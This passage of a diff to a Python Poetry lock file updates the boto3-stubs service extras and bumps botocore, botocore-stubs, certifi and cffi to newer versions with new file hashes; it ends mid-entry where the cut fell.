(>=1.21.0)"] +cloudsearchdomain = ["mypy-boto3-cloudsearchdomain (>=1.21.0)"] +cloudtrail = ["mypy-boto3-cloudtrail (>=1.21.0)"] +cloudwatch = ["mypy-boto3-cloudwatch (>=1.21.0)"] +codeartifact = ["mypy-boto3-codeartifact (>=1.21.0)"] +codebuild = ["mypy-boto3-codebuild (>=1.21.0)"] +codecommit = ["mypy-boto3-codecommit (>=1.21.0)"] +codedeploy = ["mypy-boto3-codedeploy (>=1.21.0)"] +codeguru-reviewer = ["mypy-boto3-codeguru-reviewer (>=1.21.0)"] +codeguruprofiler = ["mypy-boto3-codeguruprofiler (>=1.21.0)"] +codepipeline = ["mypy-boto3-codepipeline (>=1.21.0)"] +codestar = ["mypy-boto3-codestar (>=1.21.0)"] +codestar-connections = ["mypy-boto3-codestar-connections (>=1.21.0)"] +codestar-notifications = ["mypy-boto3-codestar-notifications (>=1.21.0)"] +cognito-identity = ["mypy-boto3-cognito-identity (>=1.21.0)"] +cognito-idp = ["mypy-boto3-cognito-idp (>=1.21.0)"] +cognito-sync = ["mypy-boto3-cognito-sync (>=1.21.0)"] +comprehend = ["mypy-boto3-comprehend (>=1.21.0)"] +comprehendmedical = ["mypy-boto3-comprehendmedical (>=1.21.0)"] +compute-optimizer = ["mypy-boto3-compute-optimizer (>=1.21.0)"] +config = ["mypy-boto3-config (>=1.21.0)"] +connect = ["mypy-boto3-connect (>=1.21.0)"] +connect-contact-lens = ["mypy-boto3-connect-contact-lens (>=1.21.0)"] +connectparticipant = ["mypy-boto3-connectparticipant (>=1.21.0)"] +cur = ["mypy-boto3-cur (>=1.21.0)"] +customer-profiles = ["mypy-boto3-customer-profiles (>=1.21.0)"] +databrew = ["mypy-boto3-databrew (>=1.21.0)"] +dataexchange = ["mypy-boto3-dataexchange (>=1.21.0)"] +datapipeline = ["mypy-boto3-datapipeline (>=1.21.0)"] +datasync = ["mypy-boto3-datasync (>=1.21.0)"] +dax = ["mypy-boto3-dax (>=1.21.0)"] +detective = ["mypy-boto3-detective (>=1.21.0)"] +devicefarm = ["mypy-boto3-devicefarm (>=1.21.0)"] +devops-guru = ["mypy-boto3-devops-guru (>=1.21.0)"] +directconnect = ["mypy-boto3-directconnect (>=1.21.0)"] +discovery = ["mypy-boto3-discovery (>=1.21.0)"] +dlm = ["mypy-boto3-dlm (>=1.21.0)"] +dms = ["mypy-boto3-dms (>=1.21.0)"] +docdb = ["mypy-boto3-docdb (>=1.21.0)"] +drs = ["mypy-boto3-drs (>=1.21.0)"] +ds = ["mypy-boto3-ds (>=1.21.0)"] +dynamodb = ["mypy-boto3-dynamodb (>=1.21.0)"] +dynamodbstreams = ["mypy-boto3-dynamodbstreams (>=1.21.0)"] +ebs = ["mypy-boto3-ebs (>=1.21.0)"] +ec2 = ["mypy-boto3-ec2 (>=1.21.0)"] +ec2-instance-connect = ["mypy-boto3-ec2-instance-connect (>=1.21.0)"] +ecr = ["mypy-boto3-ecr (>=1.21.0)"] +ecr-public = ["mypy-boto3-ecr-public (>=1.21.0)"] +ecs = ["mypy-boto3-ecs (>=1.21.0)"] +efs = ["mypy-boto3-efs (>=1.21.0)"] +eks = ["mypy-boto3-eks (>=1.21.0)"] +elastic-inference = ["mypy-boto3-elastic-inference (>=1.21.0)"] +elasticache = ["mypy-boto3-elasticache (>=1.21.0)"] +elasticbeanstalk = ["mypy-boto3-elasticbeanstalk (>=1.21.0)"] +elastictranscoder = ["mypy-boto3-elastictranscoder (>=1.21.0)"] +elb = ["mypy-boto3-elb (>=1.21.0)"] +elbv2 = ["mypy-boto3-elbv2 (>=1.21.0)"] +emr = ["mypy-boto3-emr (>=1.21.0)"] +emr-containers = ["mypy-boto3-emr-containers (>=1.21.0)"] +es = ["mypy-boto3-es (>=1.21.0)"] +essential = ["mypy-boto3-cloudformation (>=1.21.0)", "mypy-boto3-dynamodb (>=1.21.0)", "mypy-boto3-ec2 (>=1.21.0)", "mypy-boto3-lambda (>=1.21.0)", "mypy-boto3-rds (>=1.21.0)", "mypy-boto3-s3 (>=1.21.0)", "mypy-boto3-sqs (>=1.21.0)"] +events = ["mypy-boto3-events (>=1.21.0)"] +evidently = ["mypy-boto3-evidently (>=1.21.0)"] +finspace = ["mypy-boto3-finspace (>=1.21.0)"] +finspace-data = ["mypy-boto3-finspace-data (>=1.21.0)"] +firehose = ["mypy-boto3-firehose (>=1.21.0)"] +fis = ["mypy-boto3-fis (>=1.21.0)"] +fms = ["mypy-boto3-fms (>=1.21.0)"] +forecast = ["mypy-boto3-forecast (>=1.21.0)"] +forecastquery = ["mypy-boto3-forecastquery (>=1.21.0)"] +frauddetector = ["mypy-boto3-frauddetector (>=1.21.0)"] +fsx = ["mypy-boto3-fsx (>=1.21.0)"] +gamelift = ["mypy-boto3-gamelift (>=1.21.0)"] +glacier = ["mypy-boto3-glacier (>=1.21.0)"] +globalaccelerator = ["mypy-boto3-globalaccelerator (>=1.21.0)"] +glue = ["mypy-boto3-glue (>=1.21.0)"] +grafana = ["mypy-boto3-grafana (>=1.21.0)"] +greengrass = ["mypy-boto3-greengrass (>=1.21.0)"] +greengrassv2 = ["mypy-boto3-greengrassv2 (>=1.21.0)"] +groundstation = ["mypy-boto3-groundstation (>=1.21.0)"] +guardduty = ["mypy-boto3-guardduty (>=1.21.0)"] +health = ["mypy-boto3-health (>=1.21.0)"] +healthlake = ["mypy-boto3-healthlake (>=1.21.0)"] +honeycode = ["mypy-boto3-honeycode (>=1.21.0)"] +iam = ["mypy-boto3-iam (>=1.21.0)"] +identitystore = ["mypy-boto3-identitystore (>=1.21.0)"] +imagebuilder = ["mypy-boto3-imagebuilder (>=1.21.0)"] +importexport = ["mypy-boto3-importexport (>=1.21.0)"] +inspector = ["mypy-boto3-inspector (>=1.21.0)"] +inspector2 = ["mypy-boto3-inspector2 (>=1.21.0)"] +iot = ["mypy-boto3-iot (>=1.21.0)"] +iot-data = ["mypy-boto3-iot-data (>=1.21.0)"] +iot-jobs-data = ["mypy-boto3-iot-jobs-data (>=1.21.0)"] +iot1click-devices = ["mypy-boto3-iot1click-devices (>=1.21.0)"] +iot1click-projects = ["mypy-boto3-iot1click-projects (>=1.21.0)"] +iotanalytics = ["mypy-boto3-iotanalytics (>=1.21.0)"] +iotdeviceadvisor = ["mypy-boto3-iotdeviceadvisor (>=1.21.0)"] +iotevents = ["mypy-boto3-iotevents (>=1.21.0)"] +iotevents-data = ["mypy-boto3-iotevents-data (>=1.21.0)"] +iotfleethub = ["mypy-boto3-iotfleethub (>=1.21.0)"] +iotsecuretunneling = ["mypy-boto3-iotsecuretunneling (>=1.21.0)"] +iotsitewise = ["mypy-boto3-iotsitewise (>=1.21.0)"] +iotthingsgraph = ["mypy-boto3-iotthingsgraph (>=1.21.0)"] +iottwinmaker = ["mypy-boto3-iottwinmaker (>=1.21.0)"] +iotwireless = ["mypy-boto3-iotwireless (>=1.21.0)"] +ivs = ["mypy-boto3-ivs (>=1.21.0)"] +kafka = ["mypy-boto3-kafka (>=1.21.0)"] +kafkaconnect = ["mypy-boto3-kafkaconnect (>=1.21.0)"] +kendra = ["mypy-boto3-kendra (>=1.21.0)"] +keyspaces = ["mypy-boto3-keyspaces (>=1.21.0)"] +kinesis = ["mypy-boto3-kinesis (>=1.21.0)"] +kinesis-video-archived-media = ["mypy-boto3-kinesis-video-archived-media (>=1.21.0)"] +kinesis-video-media = ["mypy-boto3-kinesis-video-media (>=1.21.0)"] +kinesis-video-signaling = ["mypy-boto3-kinesis-video-signaling (>=1.21.0)"] +kinesisanalytics = ["mypy-boto3-kinesisanalytics (>=1.21.0)"] +kinesisanalyticsv2 = ["mypy-boto3-kinesisanalyticsv2 (>=1.21.0)"] +kinesisvideo = ["mypy-boto3-kinesisvideo (>=1.21.0)"] +kms = ["mypy-boto3-kms (>=1.21.0)"] +lakeformation = ["mypy-boto3-lakeformation (>=1.21.0)"] +lambda = ["mypy-boto3-lambda (>=1.21.0)"] +lex-models = ["mypy-boto3-lex-models (>=1.21.0)"] +lex-runtime = ["mypy-boto3-lex-runtime (>=1.21.0)"] +lexv2-models = ["mypy-boto3-lexv2-models (>=1.21.0)"] +lexv2-runtime = ["mypy-boto3-lexv2-runtime (>=1.21.0)"] +license-manager = ["mypy-boto3-license-manager (>=1.21.0)"] +lightsail = ["mypy-boto3-lightsail (>=1.21.0)"] +location = ["mypy-boto3-location (>=1.21.0)"] +logs = ["mypy-boto3-logs (>=1.21.0)"] +lookoutequipment = ["mypy-boto3-lookoutequipment (>=1.21.0)"] +lookoutmetrics = ["mypy-boto3-lookoutmetrics (>=1.21.0)"] +lookoutvision = ["mypy-boto3-lookoutvision (>=1.21.0)"] +machinelearning = ["mypy-boto3-machinelearning (>=1.21.0)"] +macie = ["mypy-boto3-macie (>=1.21.0)"] +macie2 = ["mypy-boto3-macie2 (>=1.21.0)"] +managedblockchain = ["mypy-boto3-managedblockchain (>=1.21.0)"] +marketplace-catalog = ["mypy-boto3-marketplace-catalog (>=1.21.0)"] +marketplace-entitlement = ["mypy-boto3-marketplace-entitlement (>=1.21.0)"] +marketplacecommerceanalytics = ["mypy-boto3-marketplacecommerceanalytics (>=1.21.0)"] +mediaconnect = ["mypy-boto3-mediaconnect (>=1.21.0)"] +mediaconvert = ["mypy-boto3-mediaconvert (>=1.21.0)"] +medialive = ["mypy-boto3-medialive (>=1.21.0)"] +mediapackage = ["mypy-boto3-mediapackage (>=1.21.0)"] +mediapackage-vod = ["mypy-boto3-mediapackage-vod (>=1.21.0)"] +mediastore = ["mypy-boto3-mediastore (>=1.21.0)"] +mediastore-data = ["mypy-boto3-mediastore-data (>=1.21.0)"] +mediatailor = ["mypy-boto3-mediatailor (>=1.21.0)"] +memorydb = ["mypy-boto3-memorydb (>=1.21.0)"] +meteringmarketplace = ["mypy-boto3-meteringmarketplace (>=1.21.0)"] +mgh = ["mypy-boto3-mgh (>=1.21.0)"] +mgn = ["mypy-boto3-mgn (>=1.21.0)"] +migration-hub-refactor-spaces = ["mypy-boto3-migration-hub-refactor-spaces (>=1.21.0)"] +migrationhub-config = ["mypy-boto3-migrationhub-config (>=1.21.0)"] +migrationhubstrategy = ["mypy-boto3-migrationhubstrategy (>=1.21.0)"] +mobile = ["mypy-boto3-mobile (>=1.21.0)"] +mq = ["mypy-boto3-mq (>=1.21.0)"] +mturk = ["mypy-boto3-mturk (>=1.21.0)"] +mwaa = ["mypy-boto3-mwaa (>=1.21.0)"] +neptune = ["mypy-boto3-neptune (>=1.21.0)"] +network-firewall = ["mypy-boto3-network-firewall (>=1.21.0)"] +networkmanager = ["mypy-boto3-networkmanager (>=1.21.0)"] +nimble = ["mypy-boto3-nimble (>=1.21.0)"] +opensearch = ["mypy-boto3-opensearch (>=1.21.0)"] +opsworks = ["mypy-boto3-opsworks (>=1.21.0)"] +opsworkscm = ["mypy-boto3-opsworkscm (>=1.21.0)"] +organizations = ["mypy-boto3-organizations (>=1.21.0)"] +outposts = ["mypy-boto3-outposts (>=1.21.0)"] +panorama = ["mypy-boto3-panorama (>=1.21.0)"] +personalize = ["mypy-boto3-personalize (>=1.21.0)"] +personalize-events = ["mypy-boto3-personalize-events (>=1.21.0)"] +personalize-runtime = ["mypy-boto3-personalize-runtime (>=1.21.0)"] +pi = ["mypy-boto3-pi (>=1.21.0)"] +pinpoint = ["mypy-boto3-pinpoint (>=1.21.0)"] +pinpoint-email = ["mypy-boto3-pinpoint-email (>=1.21.0)"] +pinpoint-sms-voice = ["mypy-boto3-pinpoint-sms-voice (>=1.21.0)"] +polly = ["mypy-boto3-polly (>=1.21.0)"] +pricing = ["mypy-boto3-pricing (>=1.21.0)"] +proton = ["mypy-boto3-proton (>=1.21.0)"] +qldb = ["mypy-boto3-qldb (>=1.21.0)"] +qldb-session = ["mypy-boto3-qldb-session (>=1.21.0)"] +quicksight = ["mypy-boto3-quicksight (>=1.21.0)"] +ram = ["mypy-boto3-ram (>=1.21.0)"] +rbin = ["mypy-boto3-rbin (>=1.21.0)"] +rds = ["mypy-boto3-rds (>=1.21.0)"] +rds-data = ["mypy-boto3-rds-data (>=1.21.0)"] +redshift = ["mypy-boto3-redshift (>=1.21.0)"] +redshift-data = ["mypy-boto3-redshift-data (>=1.21.0)"] +rekognition = ["mypy-boto3-rekognition (>=1.21.0)"] +resiliencehub = ["mypy-boto3-resiliencehub (>=1.21.0)"] +resource-groups = ["mypy-boto3-resource-groups (>=1.21.0)"] +resourcegroupstaggingapi = ["mypy-boto3-resourcegroupstaggingapi (>=1.21.0)"] +robomaker = ["mypy-boto3-robomaker (>=1.21.0)"] +route53 = ["mypy-boto3-route53 (>=1.21.0)"] +route53-recovery-cluster = ["mypy-boto3-route53-recovery-cluster (>=1.21.0)"] +route53-recovery-control-config = ["mypy-boto3-route53-recovery-control-config (>=1.21.0)"] +route53-recovery-readiness = ["mypy-boto3-route53-recovery-readiness (>=1.21.0)"] +route53domains = ["mypy-boto3-route53domains (>=1.21.0)"] +route53resolver = ["mypy-boto3-route53resolver (>=1.21.0)"] +rum = ["mypy-boto3-rum (>=1.21.0)"] +s3 = ["mypy-boto3-s3 (>=1.21.0)"] +s3control = ["mypy-boto3-s3control (>=1.21.0)"] +s3outposts = ["mypy-boto3-s3outposts (>=1.21.0)"] +sagemaker = ["mypy-boto3-sagemaker (>=1.21.0)"] +sagemaker-a2i-runtime = ["mypy-boto3-sagemaker-a2i-runtime (>=1.21.0)"] +sagemaker-edge = ["mypy-boto3-sagemaker-edge (>=1.21.0)"] +sagemaker-featurestore-runtime = ["mypy-boto3-sagemaker-featurestore-runtime (>=1.21.0)"] +sagemaker-runtime = ["mypy-boto3-sagemaker-runtime (>=1.21.0)"] +savingsplans = ["mypy-boto3-savingsplans (>=1.21.0)"] +schemas = ["mypy-boto3-schemas (>=1.21.0)"] +sdb = ["mypy-boto3-sdb (>=1.21.0)"] +secretsmanager = ["mypy-boto3-secretsmanager (>=1.21.0)"] +securityhub = ["mypy-boto3-securityhub (>=1.21.0)"] +serverlessrepo = ["mypy-boto3-serverlessrepo (>=1.21.0)"] +service-quotas = ["mypy-boto3-service-quotas (>=1.21.0)"] +servicecatalog = ["mypy-boto3-servicecatalog (>=1.21.0)"] +servicecatalog-appregistry = ["mypy-boto3-servicecatalog-appregistry (>=1.21.0)"] +servicediscovery = ["mypy-boto3-servicediscovery (>=1.21.0)"] +ses = ["mypy-boto3-ses (>=1.21.0)"] +sesv2 = ["mypy-boto3-sesv2 (>=1.21.0)"] +shield = ["mypy-boto3-shield (>=1.21.0)"] +signer = ["mypy-boto3-signer (>=1.21.0)"] +sms = ["mypy-boto3-sms (>=1.21.0)"] +sms-voice = ["mypy-boto3-sms-voice (>=1.21.0)"] +snow-device-management = ["mypy-boto3-snow-device-management (>=1.21.0)"] +snowball = ["mypy-boto3-snowball (>=1.21.0)"] +sns = ["mypy-boto3-sns (>=1.21.0)"] +sqs = ["mypy-boto3-sqs (>=1.21.0)"] +ssm = ["mypy-boto3-ssm (>=1.21.0)"] +ssm-contacts = ["mypy-boto3-ssm-contacts (>=1.21.0)"] +ssm-incidents = ["mypy-boto3-ssm-incidents (>=1.21.0)"] +sso = ["mypy-boto3-sso (>=1.21.0)"] +sso-admin = ["mypy-boto3-sso-admin (>=1.21.0)"] +sso-oidc = ["mypy-boto3-sso-oidc (>=1.21.0)"] +stepfunctions = ["mypy-boto3-stepfunctions (>=1.21.0)"] +storagegateway = ["mypy-boto3-storagegateway (>=1.21.0)"] +sts = ["mypy-boto3-sts (>=1.21.0)"] +support = ["mypy-boto3-support (>=1.21.0)"] +swf = ["mypy-boto3-swf (>=1.21.0)"] +synthetics = ["mypy-boto3-synthetics (>=1.21.0)"] +textract = ["mypy-boto3-textract (>=1.21.0)"] +timestream-query = ["mypy-boto3-timestream-query (>=1.21.0)"] +timestream-write = ["mypy-boto3-timestream-write (>=1.21.0)"] +transcribe = ["mypy-boto3-transcribe (>=1.21.0)"] +transfer = ["mypy-boto3-transfer (>=1.21.0)"] +translate = ["mypy-boto3-translate (>=1.21.0)"] +voice-id = ["mypy-boto3-voice-id (>=1.21.0)"] +waf = ["mypy-boto3-waf (>=1.21.0)"] +waf-regional = ["mypy-boto3-waf-regional (>=1.21.0)"] +wafv2 = ["mypy-boto3-wafv2 (>=1.21.0)"] +wellarchitected = ["mypy-boto3-wellarchitected (>=1.21.0)"] +wisdom = ["mypy-boto3-wisdom (>=1.21.0)"] +workdocs = ["mypy-boto3-workdocs (>=1.21.0)"] +worklink = ["mypy-boto3-worklink (>=1.21.0)"] +workmail = ["mypy-boto3-workmail (>=1.21.0)"] +workmailmessageflow = ["mypy-boto3-workmailmessageflow (>=1.21.0)"] +workspaces = ["mypy-boto3-workspaces (>=1.21.0)"] +workspaces-web = ["mypy-boto3-workspaces-web (>=1.21.0)"] +xray = ["mypy-boto3-xray (>=1.21.0)"] [[package]] name = "botocore" -version = "1.21.13" +version = "1.31.51" description = "Low-level, data-driven core of boto 3." optional = false -python-versions = ">= 3.6" +python-versions = ">= 3.7" files = [ - {file = "botocore-1.21.13-py3-none-any.whl", hash = "sha256:ce20da2dff6ab36ebee3b2efdf0bcc859ee1a7f8ec0d2ae3eaac5f50f6c729fd"}, - {file = "botocore-1.21.13.tar.gz", hash = "sha256:37c1c17326f9c81aba73efc6b496ccfe536822e576bc89ceee460dc18108f3a0"}, + {file = "botocore-1.31.51-py3-none-any.whl", hash = "sha256:91dfb38801d45214875a892bd1e908fc7a894c2ed170bacd67e6929af72f2bd2"}, + {file = "botocore-1.31.51.tar.gz", hash = "sha256:8e133add22f07b55d21e14176b97b82e993d5f9aca70f5b0cd0908cb105ba53a"}, ] [package.dependencies] -jmespath = ">=0.7.1,<1.0.0" +jmespath = ">=0.7.1,<2.0.0" python-dateutil = ">=2.1,<3.0.0" urllib3 = ">=1.25.4,<1.27" [package.extras] -crt = ["awscrt (==0.11.24)"] +crt = ["awscrt (==0.16.26)"] [[package]] name = "botocore-stubs" -version = "1.21.13" -description = "Type annotations for botocore 1.21.13, generated by mypy-boto3-builder 5.1.0" +version = "1.29.93" +description = "Type annotations and code completion for botocore" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7,<4.0" files = [ - {file = "botocore-stubs-1.21.13.tar.gz", hash = "sha256:5e8da6f6de18589def5410719a451f5c79b7720ba58da5784810dcef7d47df4e"}, - {file = "botocore_stubs-1.21.13-py3-none-any.whl", hash = "sha256:8a4619ded9f2887f346b22e05c879afa3d45f31b0b23ca58cfa82188742eccb3"}, + {file = "botocore_stubs-1.29.93-py3-none-any.whl", hash = "sha256:595d1105bb46d2647e98218f4aa68c504b41c6fed2633f6071debe041e3eed4d"}, + {file = "botocore_stubs-1.29.93.tar.gz", hash = "sha256:b0aeb3676ab6a5fbea23ff4cc0ba2033399dcef69eed762494372c00e2685882"}, ] [package.dependencies] -typing-extensions = {version = "*", markers = "python_version < \"3.8\""} +types-awscrt = "*" [[package]] name = "certifi" -version = "2022.12.7" +version = "2023.7.22" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"}, - {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"}, + {file = "certifi-2023.7.22-py3-none-any.whl", hash = "sha256:92d6037539857d8206b8f6ae472e8b77db8058fec5937a1ef3f54304089edbb9"}, + {file = "certifi-2023.7.22.tar.gz", hash = "sha256:539cc1d13202e33ca466e88b2807e29f4c13049d6d87031a3c110744495cb082"}, ] [[package]] name = "cffi" -version = "1.14.6" +version = "1.15.1" description = "Foreign Function Interface for Python calling C code." optional = false python-versions = "*" files = [ - {file = "cffi-1.14.6-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c"}, - {file = "cffi-1.14.6-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99"}, - {file = "cffi-1.14.6-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819"}, - {file = "cffi-1.14.6-cp27-cp27m-win32.whl", hash = "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20"}, - {file = "cffi-1.14.6-cp27-cp27m-win_amd64.whl", hash = "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224"}, - {file = "cffi-1.14.6-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7"}, - {file = "cffi-1.14.6-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33"}, - {file = "cffi-1.14.6-cp35-cp35m-macosx_10_9_x86_64.whl", hash = "sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534"}, - {file = "cffi-1.14.6-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a"}, - {file = "cffi-1.14.6-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5"}, - {file = "cffi-1.14.6-cp35-cp35m-win32.whl", hash = "sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca"}, - {file = "cffi-1.14.6-cp35-cp35m-win_amd64.whl", hash = "sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218"}, - {file = "cffi-1.14.6-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b"}, - {file = "cffi-1.14.6-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb"}, - {file = "cffi-1.14.6-cp36-cp36m-win32.whl", hash = "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a"}, - {file = "cffi-1.14.6-cp36-cp36m-win_amd64.whl", hash = "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e"}, - {file = "cffi-1.14.6-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c"}, - {file = "cffi-1.14.6-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762"}, - {file = "cffi-1.14.6-cp37-cp37m-win32.whl", hash = "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771"}, - {file = "cffi-1.14.6-cp37-cp37m-win_amd64.whl", hash = "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a"}, - {file = "cffi-1.14.6-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux1_i686.whl", hash = "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd"}, - {file = "cffi-1.14.6-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc"}, - {file = "cffi-1.14.6-cp38-cp38-win32.whl", hash = "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548"}, - {file = "cffi-1.14.6-cp38-cp38-win_amd64.whl", hash = "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156"}, - {file = "cffi-1.14.6-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux1_i686.whl", hash = "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f"}, - {file = "cffi-1.14.6-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87"}, - {file = "cffi-1.14.6-cp39-cp39-win32.whl", hash = "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728"}, - {file = "cffi-1.14.6-cp39-cp39-win_amd64.whl", hash = "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2"}, - {file = "cffi-1.14.6.tar.gz", hash = "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd"}, + {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, + {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, + {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, + {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, + {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, + {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, + {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = 